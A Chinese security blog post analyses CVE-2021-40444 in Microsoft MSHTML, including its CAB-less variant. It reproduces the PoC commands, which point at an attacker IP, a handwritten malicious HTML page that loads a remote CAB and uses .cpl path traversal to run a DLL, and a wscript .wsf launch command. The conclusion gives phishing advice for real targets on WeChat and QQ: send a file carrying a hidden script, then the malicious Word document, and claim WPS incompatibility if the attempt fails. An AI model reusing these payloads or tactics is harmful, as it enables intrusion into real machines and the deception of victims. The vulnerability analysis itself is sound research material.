CVE-2021-40444(CAB-less)分析与钓鱼利用姿势分析

派大星001 2021-12-28 10:02:00

0x00 介绍

时间:2021年09月08日,微软官方发布了MSHTML组件的风险通告
漏洞编号:CVE-2021-40444
漏洞等级:高危
漏洞评分:8.8。
影响版本:- Microsoft:MSHTML
攻击效果:使用office打开一个Word文件,就会导致命令执行(关闭保护模式的情况下),可以用于钓鱼,让对方填写信息
公开POC:https://github.com/lockedbyte/CVE-2021-40444

0x01 复现

环境:
Win10(安装Office Word,关闭Defender)、Kali(安装lcab)

首先下载POC项目到本地

需要在Linux环境中运行
执行命令

python3 exploit.py generate test/calc.dll http://192.168.226.136

如图,这里的地址中的ip是linux的ip

执行后在out目录中可以看见刚生成的document.docx文件,把这个文件放在受害机

在Linux上继续执行

sudo python3 exploit.py host 80

回到受害机,双击Word文件
如图,成功弹出计算器

在打开word时可以在kali的web服务器看见,收到了对word.html和word.cab的请求

0x02 分析

基础知识

开始前先介绍下word
word文件也是一种”压缩包“,word文件本身包含图片,文字,样式等信息,这些都存在”压缩包“中,Word软件打开word文件时会查看压缩包内的文件,根据压缩包内的样式文件等,去渲染,就是我们看到的word文件了。word文件内各种数据的样式,内容等信息,靠.rels文件关联,word会读取.rels,根据里面指定的资源地址去加载
所以word文件可以使用zip解压软件打开,word的所有属性、数据信息,在解压文件内都可以看见

构造恶意word文件

看下exploit.py文件
如图,有生成payload和启动web服务器两个功能,主要看payload如何生成,即generate_payload()函数

如图

分析下代码,生成word文件的步骤如下:

复制data/word_dat/到data/tmp_doc/
读取data/tmp_doc/word/_rels/document.xml.rels,并将里面<EXPLOIT_HOST_HERE>替换为参数中的地址+/word.html
然后将当前目录打包,就是word文件了
因为.rels文件,指定了资源位置,word会加载这里面指定的资源,所以这里指定恶意html文件,在打开word时,就会加载恶意html,造成漏洞

构造服务端

继续分析exploit.py文件

使用lcab命令,通过之前参数指定的恶意dll文件,生成cab文件
然后打开word.html,将其中的<HOST_CHANGE_HERE>,替换为cab文件地址
然后打开web服务器

通过http://\<ip>/word.html、http://\<ip>/word.cab,可以直接获得html和cab文件

分析

根据以上种种线索,已经可以猜测大概了,真相只有一个
应该是打开word文件时,会从远程加载http://\<ip>/word.html,而html文件的js调用http://\<ip>/word.cab,而word.cab是由恶意dll生成的

下面正式开始对利用流程分析
首先看下word.html文件
打开后发现html主要组成就是一段混淆的javascript代码
在利用网上的js格式化、解密、解压缩工具
最终得到如图的js代码

看来静态分析不行了,把js写入html,使用ie(需要关闭保护模式,在Internet选项中,选择自定义级别,开启所有ActiveX不安全的选项)打开,f12调试js
如图,看见js的开始,有一个数组,里面有inf文件、cab文件的路径

在js开始执行处加断点

这里有个while循环,调试发现循环在改变数组a0_0x127f的内容,数组顺序发生了改变
调试发现后面调用的各种方法名,参数值等,都是从这个数组中取出,拼接而成的,这应该就是加密、混淆的方法

继续看下面函数
发现这里创建的变量都是一些函数,,根据这些函数猜测,这里想在页面插入一个frame

如图,创建了ActiveXObject对象,所以下面重点跟踪_0x224f7d变量(如果不修改ie的自定义安全级别,运行到这里就会被拦截)

调用ActiveXObject对象的close方法

直接调试到最后一行,如图,最后一段代码在拼接很多类似于".cpl:../../../../../Temp/Low/msword.inf"的路径

好吧,看不懂js,但是可以猜测,通过html文件,调用了cab文件,然后cab文件解压生成inf文件,最后猜inf文件位置,去调用inf文件

在Linux打开word.cab如图,在..目录下有个msword.inf(有个文件夹名是..,猜测可能和目录穿越有关)

再动态调试下,验证猜想,结果发现怎么都复现不了了,关闭defender也没用,,,还好我有快照,可能是之前改ie安全级别时重启,更新了什么东西
恢复快照,重新安装word,开始调试

如图,打开ProcessMonitor
添加过滤,过滤Path contains msword.inf

打开document.docx,再回到ProcessMonitor
如图
首先是WINWORD写入了msword.inf,然后rundll32去找msword.inf的位置,试了三个路径成功

点开可以看到完整命令,如图
使用rundll32,通过.cpl的方式打开.inf

打开路径,可以看见msword.inf

如图执行命令,成功弹出计算器

所以整个利用流程就是,word文件打开远程html,打开远程html时,会使用ie内核(mshtml)解析word.html,
而word.html又创建了个ActiveX控件加载了word.cab文件,在控件内使用iframe,指定src为inf的位置。导致加载frame时,解压word.cab,并加载其中的inf文件,而这个inf文件,就只之前使用lcab,通过恶意dll生成的,所以会导致命令执行

以上都是猜想,为了验证猜想,自己写一个word.html试试
如下,写好后放进kali的POC的srv目录下,替换原来的word.html

<!DOCTYPE html>
<html>
<head>
   <meta charset="utf-8">
   <title></title>
</head>
<body>

<OBJECT ID="ActiveXControlTest11" WIDTH=100 HEIGHT=51 CLASSID="CLSID:96908503-3BEB-4E2B-AA87-F44DC492BC0E" CODEBASE="http://192.168.226.136/word.cab#version=5,0,0,0">
    <iframe src=".cpl:../../../AppData/Local/Temp/msword.inf"></iframe>
</OBJECT>

</body>
</html>

在ie打开,如图成功弹出计算器

但是打开document.docx不会弹出计算器了,在kali上看见只有对html的请求。在ie打开原来的word.html,发现提示弹出窗口
说明我构造的word.html没有被word解析。
应该把object弹出?看来word解析html方式和ie不同

解决这个问题只能去扣那段混淆的js代码了,,,有耐心肯定能分析出这小段js,,(我没耐心)

小细节,目录穿越

测试发现,cab文件解压后,msword.inf正常应该在第一个文件夹下的(经过测试,每次打开word,生成的这个文件夹名都不一样,不知道是什么机制生成的)

如果msword.inf在这个随机名文件夹下,就没法调用
所以word.cab中使用..做目录名,导致目录穿越,让msword.inf直接到了Temp目录下

0x03 CAB-less

针对这个漏洞微软发布了补丁,导致不能使用加载cab文件的方式了(好像是修复了目录穿越)

所以有了下面的CAB-less利用方式

样本是一个rar压缩文件,打开后是一个word文件,将word解压,打开,就会命令执行

但是我没这个rar文件,,只能云分析了

首先rar文件的开头,明显是一段代码,然后才是RAR!,明显看出,这个rar文件就不正常
但是它可以正常解压,因为rar解压时,会先找到RAR!再读后面东西,类似php文件,只解析\<?php ?>内的东西

打开word文件时,如图,还是会调用远程html文件

使用Process Explorer,看看打开word时发生了什么
如图,word通过wscript打开了cmd
命令内容是

wscript.exe ".wsf:../../../[path where RAR was saved]/Profile.rar?.wsf"

使用wscript把.rar文件当做.wsf文件打开

再看一下.rar开头的那部分代码
如图,是一段命令执行代码

0x04 总结

漏洞的原因在于OLE(Object Linking and Embedding,对象连接与嵌入)技术

明显ie和office都用了这种技术,导致了漏洞,但ie默认安全级别高,已经禁用了不被信任的ActiveX,但忽略了office

mshtml(微软的ie内核)可以通过js代码,调用本机的脚本。暂时知道两种方式解析,一种是使用.cpl,一种是.wsf

所以此漏洞有两个关键点

  1. 用了OLE的程序(如ie和office)
  2. 在目标机器上有恶意脚本,且知道路径

最初的利用方式是使用cab,自解压在本地生成恶意脚本,
第二种方式是通过邮件传播rar文件,在rar中携带恶意脚本

所以如果rar的方式也被禁用了呢?

在实战中,一般通过微信、qq钓鱼
可以在聊天时给对方发文件(可以先发一个乱码的word文件,或者表情包,图片),文件中藏有恶意脚本(像上面的rar一样)
然后再发恶意word,通过相对路径,找到对应存在恶意脚本的文件,执行

可惜的是,这个洞只适用于office,国内除了office,还有wps,而OLE技术是微软独家的,wps不能触发

但可以先发word(乱码的),如果钓鱼失败,就借口说wps和office不兼容,然后换其它方式钓

疑问

".cpl:xxx"和".wsf:xxx?.wsf",当做cpl文件使用和当做wsf文件使用,这是什么原理?

我试了把a.ps1脚本后缀改为txt,然后使用powershell -File ".ps1:a.txt?.ps1"尝试执行失败了

最后
本人技术有限,分析过程全靠猜
有错误或描述不准确的地方欢迎大家指出

0x05 参考文章

https://news.sophos.com/en-us/2021/12/21/attackers-test-cab-less-40444-exploit-in-a-dry-run/?cmp=30728
https://xret2pwn.github.io//CVE-2021-40444-Analysis-and-Exploit/
https://paper.seebug.org/1718/#0x02-cve-2021-40444
https://bbs.pediy.com/thread-270000.htm(后来才发现的,大佬已经写好解密js脚本了)
https://twitter.com/j00sean/status/1437390861499838466

评论

派大星001

这个人很懒,没有留下任何介绍

twitter weibo github wechat

随机分类

SQL注入 文章:39 篇
CTF 文章:62 篇
Ruby安全 文章:2 篇
逆向安全 文章:70 篇
MongoDB安全 文章:3 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录